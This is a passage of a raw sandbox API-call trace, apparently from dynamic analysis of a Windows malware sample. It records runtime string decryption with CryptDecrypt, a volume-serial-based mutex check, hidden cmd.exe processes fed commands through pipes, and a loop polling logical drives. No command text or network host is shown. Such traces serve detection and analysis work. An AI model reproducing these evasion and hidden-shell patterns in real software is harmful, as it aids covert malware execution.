hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1850) returned 1 [0181.172] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0181.172] CryptDecrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8c10, pdwDataLen=0x225fc84 | out: pbData=0x6f8c10, pdwDataLen=0x225fc84) returned 1 [0181.172] CryptDestroyKey (hKey=0x1d1850) returned 1 [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8c60 [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8cd8 [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0181.172] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1550) returned 1 [0181.172] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0181.172] CryptDecrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0181.172] CryptDestroyKey (hKey=0x1d1550) returned 1 [0181.172] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0181.172] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8c60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0181.172] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8cd8 | out: hHeap=0x6f0000) returned 1 [0181.172] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c10 | out: hHeap=0x6f0000) returned 1 [0181.172] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0181.172] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c60 | out: hHeap=0x6f0000) returned 1 [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0181.172] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1a90) returned 1 [0181.172] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0181.172] CryptDecrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0181.172] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0181.172] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e8 [0181.172] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x0) returned 0x102 [0181.173] CloseHandle (hObject=0x2e8) returned 1 [0181.173] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0181.173] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0181.173] Sleep (dwMilliseconds=0x3e8) [0182.225] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8d28 [0182.225] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1550) returned 1 [0182.225] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0182.225] CryptDecrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8d28, pdwDataLen=0x225fc84 | out: pbData=0x6f8d28, pdwDataLen=0x225fc84) returned 1 [0182.225] CryptDestroyKey (hKey=0x1d1550) returned 1 [0182.225] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8ee0 [0182.225] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8b98 [0182.225] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0182.225] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1610) returned 1 [0182.225] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0182.225] CryptDecrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0182.225] CryptDestroyKey (hKey=0x1d1610) returned 1 [0182.225] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0182.225] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0182.225] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8b98 | out: hHeap=0x6f0000) returned 1 [0182.226] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8d28 | out: hHeap=0x6f0000) returned 1 [0182.226] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0182.226] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8ee0 | out: hHeap=0x6f0000) returned 1 [0182.226] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0182.226] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1950) returned 1 [0182.226] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0182.226] CryptDecrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0182.226] CryptDestroyKey (hKey=0x1d1950) returned 1 [0182.226] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0182.226] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2cc [0182.226] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0182.226] CloseHandle (hObject=0x2cc) returned 1 [0182.226] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0182.226] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0182.226] Sleep (dwMilliseconds=0x3e8) Thread: id = 85 os_tid = 0xfac [0156.164] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0156.164] CryptImportKey (in: hProv=0x1a67b8, pbData=0x235f6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x235f748 | out: phKey=0x235f748*=0x1b94c8) returned 1 [0156.164] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0x235f730, dwFlags=0x0) returned 1 [0156.164] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x235f6fc | out: pbData=0x6f1070, pdwDataLen=0x235f6fc) returned 1 [0156.164] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0156.164] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x14) returned 0x6f1098 [0156.164] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x14) returned 0x6f1200 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1220 [0156.165] CryptImportKey (in: hProv=0x1a67b8, pbData=0x235f6b8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x235f720 | out: phKey=0x235f720*=0x1b8f88) returned 1 [0156.165] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0x235f708, dwFlags=0x0) returned 1 [0156.165] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1220, pdwDataLen=0x235f6d4 | out: pbData=0x6f1220, pdwDataLen=0x235f6d4) returned 1 [0156.165] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1220 | out: hHeap=0x6f0000) returned 1 [0156.165] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1098, nSize=0xa | out: lpDst="") returned 0x1c [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.165] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1098, Size=0x26) returned 0x6f1098 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x26) returned 0x6f1200 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1230 [0156.165] CryptImportKey (in: hProv=0x1a67b8, pbData=0x235f6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x235f71c | out: phKey=0x235f71c*=0x1b8e88) returned 1 [0156.165] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x235f704, dwFlags=0x0) returned 1 [0156.165] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1230, pdwDataLen=0x235f6d0 | out: pbData=0x6f1230, pdwDataLen=0x235f6d0) returned 1 [0156.165] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1230 | out: hHeap=0x6f0000) returned 1 [0156.165] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1098, nSize=0x13 | out: lpDst="") returned 0x1c [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1200 | out: hHeap=0x6f0000) returned 1 [0156.165] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1098, Size=0x4a) returned 0x6f1200 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4a) returned 0x6f1258 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f12b0 [0156.165] CryptImportKey (in: hProv=0x1a67b8, pbData=0x235f6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x235f71c | out: phKey=0x235f71c*=0x1b8e88) returned 1 [0156.165] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x235f704, dwFlags=0x0) returned 1 [0156.165] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12b0, pdwDataLen=0x235f6d0 | out: pbData=0x6f12b0, pdwDataLen=0x235f6d0) returned 1 [0156.165] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0156.165] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1200, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1258 | out: hHeap=0x6f0000) returned 1 [0156.165] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.165] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6f1070 [0156.165] CryptImportKey (in: hProv=0x1a67b8, pbData=0x235f6d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x235f740 | out: phKey=0x235f740*=0x1b94c8) returned 1 [0156.165] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0x235f728, dwFlags=0x0) returned 1 [0156.166] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x235f6f4 | out: pbData=0x6f1070, pdwDataLen=0x235f6f4) returned 1 [0156.166] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0156.166] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.166] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0156.166] Wow64DisableWow64FsRedirection (in: OldValue=0x235f7f8 | out: OldValue=0x235f7f8*=0x0) returned 1 [0156.166] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.166] CreatePipe (in: hReadPipe=0x235f804, hWritePipe=0x235f808, lpPipeAttributes=0x235f7e0, nSize=0x0 | out: hReadPipe=0x235f804*=0x228, hWritePipe=0x235f808*=0x22c) returned 1 [0156.168] CreatePipe (in: hReadPipe=0x235f800, hWritePipe=0x235f7fc, lpPipeAttributes=0x235f7e0, nSize=0x0 | out: hReadPipe=0x235f800*=0x230, hWritePipe=0x235f7fc*=0x234) returned 1 [0156.168] SetHandleInformation (hObject=0x22c, dwMask=0x1, dwFlags=0x0) returned 1 [0156.168] SetHandleInformation (hObject=0x230, dwMask=0x1, dwFlags=0x0) returned 1 [0156.169] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x235f78c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234), lpProcessInformation=0x235f7d0 | out: lpCommandLine=0x0, lpProcessInformation=0x235f7d0*(hProcess=0x23c, hThread=0x238, dwProcessId=0xfb4, dwThreadId=0xfb8)) returned 1 [0156.202] WriteFile (in: hFile=0x22c, lpBuffer=0x6f10d0*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x235f7ec, lpOverlapped=0x0 | out: lpBuffer=0x6f10d0*, lpNumberOfBytesWritten=0x235f7ec*=0xbc, lpOverlapped=0x0) returned 1 [0156.202] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xffffffff) Thread: id = 86 os_tid = 0xfb0 [0156.202] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f1070 [0156.202] CryptImportKey (in: hProv=0x1a67b8, pbData=0x249fac4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x249fb2c | out: phKey=0x249fb2c*=0x1b8e88) returned 1 [0156.202] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x249fb14, dwFlags=0x0) returned 1 [0156.203] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x249fae0 | out: pbData=0x6f1070, pdwDataLen=0x249fae0) returned 1 [0156.203] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x14) returned 0x6f1098 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x14) returned 0x6f1258 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1278 [0156.203] CryptImportKey (in: hProv=0x1a67b8, pbData=0x249fa9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x249fb04 | out: phKey=0x249fb04*=0x1b8f08) returned 1 [0156.203] CryptSetKeyParam (hKey=0x1b8f08, dwParam=0x1, pbData=0x249faec, dwFlags=0x0) returned 1 [0156.203] CryptDecrypt (in: hKey=0x1b8f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1278, pdwDataLen=0x249fab8 | out: pbData=0x6f1278, pdwDataLen=0x249fab8) returned 1 [0156.203] CryptDestroyKey (hKey=0x1b8f08) returned 1 [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1278 | out: hHeap=0x6f0000) returned 1 [0156.203] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1098, nSize=0xa | out: lpDst="") returned 0x1c [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1258 | out: hHeap=0x6f0000) returned 1 [0156.203] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1098, Size=0x26) returned 0x6f1098 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x26) returned 0x6f1258 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1288 [0156.203] CryptImportKey (in: hProv=0x1a67b8, pbData=0x249fa98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x249fb00 | out: phKey=0x249fb00*=0x1b8f88) returned 1 [0156.203] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0x249fae8, dwFlags=0x0) returned 1 [0156.203] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1288, pdwDataLen=0x249fab4 | out: pbData=0x6f1288, pdwDataLen=0x249fab4) returned 1 [0156.203] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1288 | out: hHeap=0x6f0000) returned 1 [0156.203] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1098, nSize=0x13 | out: lpDst="") returned 0x1c [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1258 | out: hHeap=0x6f0000) returned 1 [0156.203] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1098, Size=0x4a) returned 0x6f1258 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x4a) returned 0x6f12b0 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1308 [0156.203] CryptImportKey (in: hProv=0x1a67b8, pbData=0x249fa98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x249fb00 | out: phKey=0x249fb00*=0x1b9208) returned 1 [0156.203] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0x249fae8, dwFlags=0x0) returned 1 [0156.203] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1308, pdwDataLen=0x249fab4 | out: pbData=0x6f1308, pdwDataLen=0x249fab4) returned 1 [0156.203] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1308 | out: hHeap=0x6f0000) returned 1 [0156.203] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f1258, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f12b0 | out: hHeap=0x6f0000) returned 1 [0156.203] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.203] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6f1070 [0156.203] CryptImportKey (in: hProv=0x1a67b8, pbData=0x249fabc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x249fb24 | out: phKey=0x249fb24*=0x1b9348) returned 1 [0156.203] CryptSetKeyParam (hKey=0x1b9348, dwParam=0x1, pbData=0x249fb0c, dwFlags=0x0) returned 1 [0156.203] CryptDecrypt (in: hKey=0x1b9348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1070, pdwDataLen=0x249fad8 | out: pbData=0x6f1070, pdwDataLen=0x249fad8) returned 1 [0156.203] CryptDestroyKey (hKey=0x1b9348) returned 1 [0156.203] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.204] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0156.204] Wow64DisableWow64FsRedirection (in: OldValue=0x249fbdc | out: OldValue=0x249fbdc*=0x0) returned 1 [0156.204] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1070 | out: hHeap=0x6f0000) returned 1 [0156.204] CreatePipe (in: hReadPipe=0x249fbe8, hWritePipe=0x249fbec, lpPipeAttributes=0x249fbc4, nSize=0x0 | out: hReadPipe=0x249fbe8*=0x244, hWritePipe=0x249fbec*=0x240) returned 1 [0156.204] CreatePipe (in: hReadPipe=0x249fbe4, hWritePipe=0x249fbe0, lpPipeAttributes=0x249fbc4, nSize=0x0 | out: hReadPipe=0x249fbe4*=0x250, hWritePipe=0x249fbe0*=0x254) returned 1 [0156.204] SetHandleInformation (hObject=0x240, dwMask=0x1, dwFlags=0x0) returned 1 [0156.204] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0156.204] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x249fb70*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x244, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x249fbb4 | out: lpCommandLine=0x0, lpProcessInformation=0x249fbb4*(hProcess=0x25c, hThread=0x258, dwProcessId=0xfbc, dwThreadId=0xfc0)) returned 1 [0156.212] WriteFile (in: hFile=0x240, lpBuffer=0x6f1198*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x249fbd0, lpOverlapped=0x0 | out: lpBuffer=0x6f1198*, lpNumberOfBytesWritten=0x249fbd0*=0x5b, lpOverlapped=0x0) returned 1 [0156.212] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) Thread: id = 109 os_tid = 0xd50 Thread: id = 110 os_tid = 0x654 [0161.561] GetLogicalDrives () returned 0x4 [0161.561] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f1370 [0161.561] CryptImportKey (in: hProv=0x1a67b8, pbData=0x271fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x271fe90 | out: phKey=0x271fe90*=0x1b8e88) returned 1 [0161.561] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x271fe78, dwFlags=0x0) returned 1 [0161.561] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1370, pdwDataLen=0x271fe44 | out: pbData=0x6f1370, pdwDataLen=0x271fe44) returned 1 [0161.561] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.561] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f12b0 [0161.561] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x268 [0161.561] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x26c [0161.561] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8170 [0161.561] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xe) returned 0x6f8128 [0161.561] ResetEvent (hEvent=0x26c) returned 1 [0161.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43b2e, lpParameter=0x6f8170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0161.561] CloseHandle (hObject=0x270) returned 1 [0161.561] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10) returned 0x6f8188 [0161.562] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xe) returned 0x6f81a0 [0161.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43b2e, lpParameter=0x6f8188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0161.562] CloseHandle (hObject=0x270) returned 1 [0161.562] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0xffffffff) Thread: id = 111 os_tid = 0x65c [0161.562] GetLogicalDrives () returned 0x4 [0161.562] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f12e0 [0161.562] CryptImportKey (in: hProv=0x1a67b8, pbData=0x285f980, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x285f9e8 | out: phKey=0x285f9e8*=0x1b8e88) returned 1 [0161.562] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0x285f9d0, dwFlags=0x0) returned 1 [0161.562] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f12e0, pdwDataLen=0x285f99c | out: pbData=0x6f12e0, pdwDataLen=0x285f99c) returned 1 [0161.562] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0161.562] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f1038 [0161.563] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x270 [0161.563] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x274 [0161.563] GetLogicalDrives () returned 0x4 [0161.563] Sleep (dwMilliseconds=0x3e8) [0162.807] GetLogicalDrives () returned 0x4 [0162.807] Sleep (dwMilliseconds=0x3e8) [0164.828] GetLogicalDrives () returned 0x4 [0164.828] Sleep (dwMilliseconds=0x3e8) [0166.324] GetLogicalDrives () returned 0x4 [0166.324] Sleep (dwMilliseconds=0x3e8) [0167.913] GetLogicalDrives () returned 0x4 [0167.913] Sleep (dwMilliseconds=0x3e8) [0168.930] GetLogicalDrives () returned 0x4 [0168.930] Sleep (dwMilliseconds=0x3e8) [0170.112] GetLogicalDrives () returned 0x4 [0170.112] Sleep (dwMilliseconds=0x3e8) [0171.247] GetLogicalDrives () returned 0x4 [0171.247] Sleep (dwMilliseconds=0x3e8) [0172.258] GetLogicalDrives () returned 0x4 [0172.258] Sleep (dwMilliseconds=0x3e8) [0173.779] GetLogicalDrives () returned 0x4 [0173.779] Sleep (dwMilliseconds=0x3e8) [0174.790] GetLogicalDrives () returned 0x4 [0174.790] Sleep (dwMilliseconds=0x3e8) [0175.815] GetLogicalDrives () returned 0x4 [0175.815] Sleep (dwMilliseconds=0x3e8) [0176.935] 